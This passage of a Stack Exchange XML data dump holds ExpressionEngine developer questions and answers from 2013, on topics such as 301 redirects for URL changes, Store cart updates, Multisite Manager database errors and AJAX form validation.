new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am looking at simplifying it slightly and condensing the templates down. The way I see it, I would be quite happy to have single page view separate, and a single template for the listing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just started using Switchee, and I think this would be good here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally my listing template would be &lt;code&gt;walks/find/&lt;/code&gt; which, by using switchee, would check for &lt;code&gt;{segment_3}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walks/find/search&#xA;walks/find/category&#xA;walks/find/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that's fine. Nicer URL's, less templates. However, I am a bit unsure as to how this will effect my current search results in search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By far, the url thats hit on most is &lt;code&gt;walks/find/&lt;/code&gt;, so that will stay the same, but then nearly all the next most hit urls are: &lt;code&gt;walks/findwalk/category/(category_name)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen to these results in google? Is there a way to ensure the links stay active?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long post!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just realised I'm not even using the index template within the template group, so i could clean these urls up a bit further but dropping the need for &lt;code&gt;find&lt;/code&gt; altogether. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walks/search&#xA;walks/category&#xA;walks/&#xA;walks/(entry_title)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would look a lot better. Just wondering if there is a way to drop the &lt;code&gt;category&lt;/code&gt; at all? This would mean i could get &lt;code&gt;walks/category_name/entry_title&lt;/code&gt; which would look better still!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-01-30T18:34:34.303" LastActivityDate="2013-01-30T20:19:08.627" Title="Changing the url structure of established site?" Tags="|url|seo|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5595" PostTypeId="2" ParentId="5594" CreationDate="2013-01-30T17:59:56.673" Score="5" Body="&lt;p&gt;You'll want to add 301 redirects to your .htaccess file, with the old URLs mapped to the new URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can parameterize those redirects, so you can match on &lt;code&gt;/walks/findwalk/category/[value]&lt;/code&gt; and have it insert that value in your new URL structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to Google '301 redirects htaccess' for pointers. I've also found &lt;a href=&quot;http://perishablepress.com/stupid-htaccess-tricks/#redirects&quot; rel=&quot;nofollow&quot;&gt;Perishable Press&lt;/a&gt; to be a good htaccess resource in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifying 301 (permanent) redirects will instruct Google to update its index, with the new URL as the permanent, new location for that content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; If you want to omit the &lt;code&gt;/category/&lt;/code&gt; segment, you'll need conditionals to catch the other segments and handle those. If one of those cases is not met, you can assume a category ID or category url_title, and branch your logic to present results accordingly. At that point you're using your index template as a router, and routing the request to embed templates based on the values on the URL. You would need to do a lookup on segment_2 to see if there were any entry matches. If not, you'd need to bounce to an embedded template to look up category matches for segment_2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe just use a word other than 'category' for segment_2 rather than complicate your templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; As suggested in the comments, Detour Pro looks like it will cover all of the 301 redirect goals, though I haven't personally used it.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-30T20:19:08.627" LastActivityDate="2013-01-30T20:19:08.627" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5596" PostTypeId="2" ParentId="5528" CreationDate="2013-01-30T18:14:31.857" Score="0" Body="&lt;p&gt;My site was residing on a sub-domain. However, when copying the files and directories from the live site an .htaccess rule was forcing www on my subdomain (www.dev.domain.com vs dev.domain.com). Solved! Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="708" LastActivityDate="2013-01-30T18:14:31.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5597" PostTypeId="1" AcceptedAnswerId="5601" CreationDate="2013-01-30T18:25:26.280" Score="6" ViewCount="873" Body="&lt;p&gt;I am in the process of deciding if ExpressionEngine can be used for a project where I am creating both a website and a native iPhone App.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would need cron background worker jobs, to pull data with JSON, Geocoding, and Ad Tracking.  Also API integration with Urban Airship would be a plus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are mods from researching Devot-ee.com that may work but I don't know to what extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone attempted this?  I don't what to get too far into development only to find EE won't work for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2014-06-12T06:35:39.147" Title="Is ExpressionEngine Right for iPhone App Development" Tags="|ee2|database|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5598" PostTypeId="1" CreationDate="2013-01-30T18:25:30.563" Score="6" ViewCount="222" Body="&lt;p&gt;Suppose I have a template with a channel entries tag on it. I need to execute an extension method during a hook that runs before the channel entries query takes place. It doesn't matter what parameters are passed to the hook, I just need to execute some logic any time entries are going to be queried.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2013-01-30T22:53:04.200" Title="What hook should I use that executes before a channel entries tag is parsed?" Tags="|extension|hook|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5599" PostTypeId="1" AcceptedAnswerId="5602" CreationDate="2013-01-30T18:26:46.277" Score="4" ViewCount="234" Body="&lt;p&gt;Given this design &lt;a href=&quot;http://cl.ly/image/2J2k0p2f451Z&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2J2k0p2f451Z&lt;/a&gt; where the user updates the quantity and clicks the &quot;update&quot; link/button, how do I go about updating the individual item quantity without actually submitting the cart and placing the order? I assume some hacky JavaScript can take care of it, but it seems like there should be a server side process for this.&lt;/p&gt;&#xA;" OwnerUserId="82" LastEditorUserId="28" LastEditDate="2013-01-30T20:41:53.190" LastActivityDate="2013-01-31T04:04:51.193" Title="Store module: How to update cart quantity without submitting the cart?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5600" PostTypeId="2" ParentId="5598" CreationDate="2013-01-30T18:33:30.193" Score="1" Body="&lt;p&gt;It sounds like the channel_entries_row hook would do it? &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-row&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-row&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-01-30T18:33:30.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5601" PostTypeId="2" ParentId="5597" CreationDate="2013-01-30T18:42:21.910" Score="5" Body="&lt;p&gt;You should regard ExpressionEngine as a delivery mechanism for web content. You can use its templates to output any format of content or data you want, including JSON. You can use PHP within templates for server-side processing, or write your own plugins/extensions in PHP to output data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can schedule cron jobs on the server to import data directly into the database, using your own tables or directly into EE's channel_title and channel_data schema.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used ExpressionEngine as a backend to Flash website once, populating AMF output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, ExpressionEngine would be very suitable to provide the web-based backend that the iPhone app would consume. It can output anything, and provide a user-friendly control panel for your project's admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you use EE, another system, or custom develop the backend, you should consider that EE will work for this, but how can you maximize your efforts? Are there sufficient add-ons that accomplish goals that you can minimize development time? If custom development using a different framework or just PHP is in your skillset, can you optimize the application by housing your custom logic in your own EE add-ons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE will work. It's more a question of where you can leverage 1) expertise and 2) already-developed tools to optimize your efforts.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-30T19:02:48.703" LastActivityDate="2013-01-30T19:02:48.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5602" PostTypeId="2" ParentId="5599" CreationDate="2013-01-30T19:05:15.990" Score="3" Body="&lt;p&gt;The easiest way would be to add &lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Cart&quot; /&amp;gt;&lt;/code&gt; to your template and then add a bit of jQuery to bind the update link to the newly created update button (which you would want to hide to keep your current design).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your submit button isn't called &lt;code&gt;submit&lt;/code&gt;, &lt;code&gt;commit&lt;/code&gt; (both of which submit the order), &lt;code&gt;empty_cart&lt;/code&gt; (which empties the cart) or &lt;code&gt;next&lt;/code&gt; (which updates the cart and redirects the customer to the url specified in your &lt;code&gt;next_url&lt;/code&gt; parameter), Store will simply update the cart quantities and redirect you to the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to have both &quot;Continue to Checkout&quot; and &quot;Update Totals&quot; buttons on the same form, which both update the cart but redirect the customer to different locations. This can be seen in the &lt;code&gt;checkout.html&lt;/code&gt; example template which ships with Store:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Totals&quot; class=&quot;btn&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot; class=&quot;btn btn-danger&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Continue to Billing Details&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="150" LastEditDate="2013-01-31T04:04:51.193" LastActivityDate="2013-01-31T04:04:51.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5603" PostTypeId="1" CreationDate="2013-01-30T21:12:35.620" Score="3" ViewCount="661" Body="&lt;p&gt;This is sort of related to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5599/store-module-how-to-update-cart-quantity-without-submitting-the-cart&quot;&gt;Store module: How to update cart quantity without submitting the cart?&lt;/a&gt; but I don't want to update that question b/c it is still relevant to other people. It turns out my issue is that our store uses price modifiers for the &quot;quantity.&quot; So people order 1 item, but it might come in 500, 1000, 1500, or 2000. Instead of changing the item_qty field on the cart page, I need to be able to change a price modifier instead. This is what my template  looks like thus far, and it sort of works, but instead of updating the existing item it just adds an entirely new item to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simplified version of my cart template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;cart/confirm&quot; return=&quot;cart/ORDER_HASH&quot;}&#xA;    {!-- This seems to be the only way to get the full list of available &#xA;    modifiers in this tag :( --}&#xA;    {modifiers}&#xA;        {if modifier_name == &quot;Quantity&quot; OR modifier_name == &quot;quantity&quot;}&#xA;            {embed=&quot;cart/_product-modifiers&quot; &#xA;                entry_id=&quot;{entry_id}&quot; &#xA;                key=&quot;{key}&quot; &#xA;                option_id=&quot;{option_id}&quot; &#xA;                modifier_id=&quot;{modifier_id}&quot;}&#xA;        {/if}&#xA;    {/modifiers}&#xA;&#xA;    {!-- Quantity is determined by the modifier since its a fixed amount, so set to 1 &#xA;    here so the product is actually added to the cart --}                &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty[{key}]&quot; value=&quot;1&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; name=&quot;update_cart&quot; class=&quot;item-quantity-update&quot; value=&quot;Update Cart&quot;&amp;gt;Update Cart&amp;lt;/button&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the cart/_product-modifiers template to render this dropdown &lt;a href=&quot;http://cl.ly/image/0e0Q0q391I0s&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cl.ly/image/0e0Q0q391I0s&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{embed:entry_id}&quot;}&#xA;&#xA;    {modifiers}&#xA;        &amp;lt;select name=&quot;item[{embed:key}][modifiers_{embed:modifier_id}]&quot;&amp;gt;&#xA;            {modifier_options}&#xA;                &amp;lt;option value=&quot;{option_id}&quot; {if &quot;{embed:option_id}&quot; == &quot;{option_id}&quot;}selected=&quot;selected&quot;{/if}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;            {/modifier_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    {/modifiers}&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="82" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-31T19:45:56.163" Title="Store module: How to update product modifier from the cart page?" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5604" PostTypeId="2" ParentId="2091" CreationDate="2013-01-30T21:26:07.293" Score="4" Body="&lt;p&gt;I had this issue as well, but for me it turned out be a misconfigured server &quot;base path&quot; issue. Which is explained in the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions&quot; rel=&quot;nofollow&quot;&gt;CE Image Common Solutions&lt;/a&gt; docs. Setting the config variable in my (NSM) config bootstrap file solved the issue for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'ce_image_document_root' =&amp;gt; NSM_BASEPATH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or as stated on the solutions page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_document_root'] = '/some/server/path/to/document_root/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2013-02-13T14:29:19.460" LastActivityDate="2013-02-13T14:29:19.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5605" PostTypeId="1" AcceptedAnswerId="5606" CreationDate="2013-01-30T22:02:08.253" Score="1" ViewCount="149" Body="&lt;p&gt;I have recently set up a second site using Multisite Manager with ExpressionEngine 2.5.2. I got everything working smoothly on my local environment, however, when I try to add entries through ExpressionEngine to my production server, I get the following database errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'field_id_147' in 'field list'&#xA;&#xA;INSERT INTO `exp_channel_data` (`entry_id`, `channel_id`, `site_id`, `field_id_147`, `field_id_148`, `field_id_149`, `field_id_150`, `field_id_151`, `field_id_152`, `field_id_153`, `field_id_154`, `field_id_155`, `field_id_156`, `field_id_157`, `field_id_159`, `field_id_165`, `field_id_166`, `field_id_162`, `field_id_160`, `field_id_158`, `field_id_161`, `field_ft_147`, `field_ft_148`, `field_ft_149`, `field_ft_150`, `field_ft_151`, `field_ft_152`, `field_ft_153`, `field_ft_154`, `field_ft_155`, `field_ft_156`, `field_ft_157`, `field_ft_158`, `field_ft_159`, `field_ft_165`, `field_ft_166`, `field_ft_161`, `field_ft_162`, `field_ft_160`, `field_id_1`, `field_id_2`, `field_id_3`, `field_id_4`, `field_id_5`, `field_id_6`, `field_id_7`, `field_id_8`, `field_id_9`, `field_id_10`, `field_id_11`, `field_id_12`, `field_id_13`, `field_id_14`, `field_id_15`, `field_id_16`, `field_id_17`, `field_id_18`, `field_id_19`, `field_id_20`, `field_id_21`, `field_id_22`, `field_id_23`, `field_id_24`, `field_id_25`, `field_id_26`, `field_id_27`, `field_id_28`, `field_id_29`, `field_id_30`, `field_id_31`, `field_id_32`, `field_id_33`, `field_id_34`, `field_id_35`, `field_id_36`, `field_id_37`, `field_id_38`, `field_id_39`, `field_id_40`, `field_id_41`, `field_id_42`, `field_id_43`, `field_id_44`, `field_id_45`, `field_id_46`, `field_id_47`, `field_id_48`, `field_id_49`, `field_id_50`, `field_id_51`, `field_id_52`, `field_id_53`, `field_id_54`, `field_id_55`, `field_id_56`, `field_id_57`, `field_id_58`, `field_id_59`, `field_id_60`, `field_id_61`, `field_id_62`, `field_id_64`, `field_id_65`, `field_id_66`, `field_id_67`, `field_id_68`, `field_id_69`, `field_id_70`, `field_id_71`, `field_id_72`, `field_id_73`, `field_id_74`, `field_id_75`, `field_id_76`, `field_id_77`, `field_id_78`, `field_id_79`, `field_id_80`, `field_id_81`, `field_id_82`, `field_id_83`, `field_id_84`, `field_id_85`, `field_id_86`, `field_id_87`, `field_id_88`, `field_id_89`, `field_id_90`, `field_id_91`, `field_id_92`, `field_id_93`, `field_id_94`, `field_id_95`, `field_id_96`, `field_id_97`, `field_id_98`, `field_id_99`, `field_id_100`, `field_id_101`, `field_id_102`, `field_id_103`, `field_id_104`, `field_id_105`, `field_id_106`, `field_id_107`, `field_id_108`, `field_id_110`, `field_id_111`, `field_id_112`, `field_id_113`, `field_id_114`, `field_id_115`, `field_id_116`, `field_id_117`, `field_id_118`, `field_id_119`, `field_id_120`, `field_id_121`, `field_id_122`, `field_id_123`, `field_id_124`, `field_id_125`, `field_id_126`, `field_id_127`, `field_id_128`, `field_id_129`, `field_id_130`, `field_id_131`, `field_id_132`, `field_id_133`, `field_id_134`, `field_id_135`, `field_id_136`, `field_id_137`, `field_id_138`, `field_id_163`, `field_id_164`) VALUES (140, '20', '2', '', 0, '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', 'none', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '')&#xA;&#xA;Filename: libraries/api/Api_channel_entries.php&#xA;&#xA;Line Number: 1831&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I create the column 'field_id_147' in 'field list' in my database, when i go to create an entry in ExpressionEngine, the error returns with a higher number (field_id_148, field_id_149, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to what's happening here or any way I can fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Originally I was having a similar issue on my local environment (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5458/database-errors-when-deleting-channel-fields-and-second-site-with-multisite-mana&quot;&gt;question posted here&lt;/a&gt;), but solved the issue by replacing my system folder with a working copy from another computer. I'd prefer to not do that, considering this is no longer my local environment and I run into the issue of all of my live sites being affected.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-31T17:49:29.703" Title="Database Error When Adding Entry With Multisite Manager" Tags="|database|multi-site-manager|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5606" PostTypeId="2" ParentId="5605" CreationDate="2013-01-30T22:15:29.757" Score="1" Body="&lt;p&gt;Whenever &lt;strong&gt;adding&lt;/strong&gt; something to your site, you'll typically want to start with Production, and then copy your Production database down to dev. If you're installing modules, core or add-on, and those are creating new database tables or columns, you've only made those database schema changes in the environment where you clicked &quot;Enable&quot; - Dev in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My typical workflow for any add-on to an existing site is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Drop the add-on files into my site locally/in dev.&lt;/li&gt;&#xA;&lt;li&gt;Push that to git.&lt;/li&gt;&#xA;&lt;li&gt;Deploy to the live server.&lt;/li&gt;&#xA;&lt;li&gt;Log in to the live server's Control Panel.&lt;/li&gt;&#xA;&lt;li&gt;Install the add-on there.&lt;/li&gt;&#xA;&lt;li&gt;Mysqldump the Production db, pull it down, and import that locally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the case of Multi-Site Manager, the module files already existed on Production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only at that point am I ready to start using the add-on or module in my dev environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes for new channel fields or channels as well. If the site's live, I add the fields I need on Production before starting dev, and grab a dump of the Production DB to use locally. It's always a one-way flow, and there are never inconsistencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your best option at this point, now that you've deployed the updated files to Production, would be to install the module using your Production CP, &lt;strong&gt;NOT&lt;/strong&gt; to start creating database columns manually. Let Multi-Site Manager do its thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only portion of your EE app that's portable is your add-on &amp;amp; template files. You can move those back and forth and they can work with anything installed. If your site is live, always consider your Production DB the master and the point of origin for installations/updates. Sometimes you need to do a dry-run in dev, which is fine. But consider that a test run, document the steps you took, and reproduce those steps on Production. Then pull your Production DB down to work with the latest data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And back up your Production DB before following any steps prescribed here :)&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-31T17:49:29.703" LastActivityDate="2013-01-31T17:49:29.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5607" PostTypeId="1" AcceptedAnswerId="6625" CreationDate="2013-01-30T22:52:54.147" Score="2" ViewCount="1708" Body="&lt;p&gt;I'm using the jQuery Form plugin (&lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;http://malsup.com/jquery/form/&lt;/a&gt;) to return an AJAX message on successful submission of a contact form. However, I also need to do AJAX validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current form and script looks like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;send1&quot;&amp;gt;&#xA;{exp:freeform:form&#xA;    form_name=&quot;callback&quot;&#xA;    form:id=&quot;callback&quot;&#xA;    return=&quot;ajax/success_callback&quot;&#xA;    required=&quot;full_name|message&quot;&#xA;}&#xA;    &amp;lt;label&amp;gt;Full Name&amp;lt;/label&amp;gt;&#xA;    {if freeform:error:full_name}&#xA;    {freeform:field:full_name}&#xA;&#xA;    &amp;lt;label&amp;gt;Message&amp;lt;/label&amp;gt;&#xA;    {if freeform:error:message}&#xA;    {freeform:field:message}&#xA;&#xA;    &amp;lt;input class=&quot;more_info&quot; type=&quot;submit&quot;&amp;gt;&#xA;{/exp:freeform:form}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;send2&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;/assets/js/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/assets/js/jquery.form.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;// prepare the form when the DOM is ready &#xA;$(document).ready(function() { &#xA;    // bind form using ajaxForm &#xA;    $('#callback').ajaxForm({ &#xA;        // target identifies the element(s) to update with the server response &#xA;        target: '#send2', &#xA;&#xA;        // success identifies the function to invoke when the server response &#xA;        // has been received; here we apply a fade-in effect to the new content &#xA;        success: function() { &#xA;            $('#send1').hide();&#xA;            $('#send2').fadeIn('slow'); &#xA;        } &#xA;    }); &#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, on success I am hiding the 'send1' div and simply loading a success template into the 'send2' div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone might be able to help on how to construct the error messaging using AJAX that will work using or alongside the jQuery Form plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-02-25T04:44:12.307" Title="Freeform Pro AJAX Validation with AJAX Submit using jQuery Form plugin" Tags="|ajax|jquery|solspace-freeform|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5608" PostTypeId="2" ParentId="5598" CreationDate="2013-01-30T22:53:04.200" Score="1" Body="&lt;p&gt;We should make a feature request. I need a hook that runs before the query is ran too. To my knowledge, such hook does not exist.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-30T22:53:04.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5609" PostTypeId="1" AcceptedAnswerId="5614" CreationDate="2013-01-30T23:40:03.057" Score="3" ViewCount="3385" Body="&lt;p&gt;I am new to working with ExpressionEngine, so this may be an easy answer. I am getting 500 errors and can't seem to find any ExpressionEngine log files. How can I log errors in ExpressionEngine?&lt;/p&gt;&#xA;" OwnerUserId="924" LastEditorUserId="28" LastEditDate="2013-03-10T18:27:47.857" LastActivityDate="2013-03-10T18:27:47.857" Title="How to log errors in ExpressionEngine?" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5610" PostTypeId="1" CreationDate="2013-01-30T23:51:41.233" Score="1" ViewCount="152" Body="&lt;p&gt;I'm working with the basic file upload preferences from inside of the control panel. I'm uploading videos and audio files for a podcast. Some are larger HD files (1gb) some are small mp3s (15mb). The folder permissions are all set correctly. The paths are all set correctly. And the upload directories have been working using the synchronize button previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I uploaded files via FTP to the correct folder.&#xA;I go into file upload preferences and click synchronize&#xA;I click submit and wait, and wait, and wait, and wait.&#xA;It says that it successfully completed processing 60 files in the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lies . . . some files are missing. They are there in FTP but not available to EE. I need help. If I purchased ChannelFiles would that solve my problem?&lt;/p&gt;&#xA;" OwnerUserId="925" LastActivityDate="2013-01-30T23:51:41.233" Title="File synchronize completes with no data" Tags="|file-manager|sync|ftp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5611" PostTypeId="1" CreationDate="2013-01-31T00:05:35.450" Score="2" ViewCount="1517" Body="&lt;p&gt;Basic functionality I'm looking for has to do with counting the results from a reverse_related_entries pair while excluding certain categories. I'm hitting a wall. We have multiple locations and each location has their own audio and video files which are related to a specific subject called &quot;series.&quot; Each location is a category and I only want to show AND count entries in one category and related to the series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&#xA;{exp:channel:entries channel=&quot;sermon_series&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- display some information about the series --&amp;gt;&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{sermon_series_description}&#xA;&#xA;&amp;lt;hr&amp;gt;&#xA;&#xA;&amp;lt;!-- call up any child of the sermon series, sort them by date ascending --&amp;gt;&#xA;{reverse_related_entries channel=&quot;sermons&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;    {if '{categories}{category_id}{/categories}'== &quot;1915&quot;}&#xA;&#xA;        &amp;lt;!-- display some info about each sermon --&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Part {count} - {title}&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{sermon_notes}&quot;&amp;gt;Sermon Notes&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;hr&amp;gt;&#xA;    {/if}&#xA;{/reverse_related_entries}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I'm trying to accomplish here: &lt;a href=&quot;http://dev.ncctk.com/media/sermons/this-little-light-of-mine&quot; rel=&quot;nofollow&quot;&gt;http://dev.ncctk.com/media/sermons/this-little-light-of-mine&lt;/a&gt;. You'll notice the {count} variable produces 1, 4, and 5. I've tried using a PHP increment as well, but the same thing happens as it loops through even the entries that don't meet the conditional.&lt;/p&gt;&#xA;" OwnerUserId="925" LastActivityDate="2013-01-31T02:32:40.073" Title="{count} is counting entries I don't want it to" Tags="|categories|conditionals|reverse-related-entries|" AnswerCount="2" CommentCount="0" 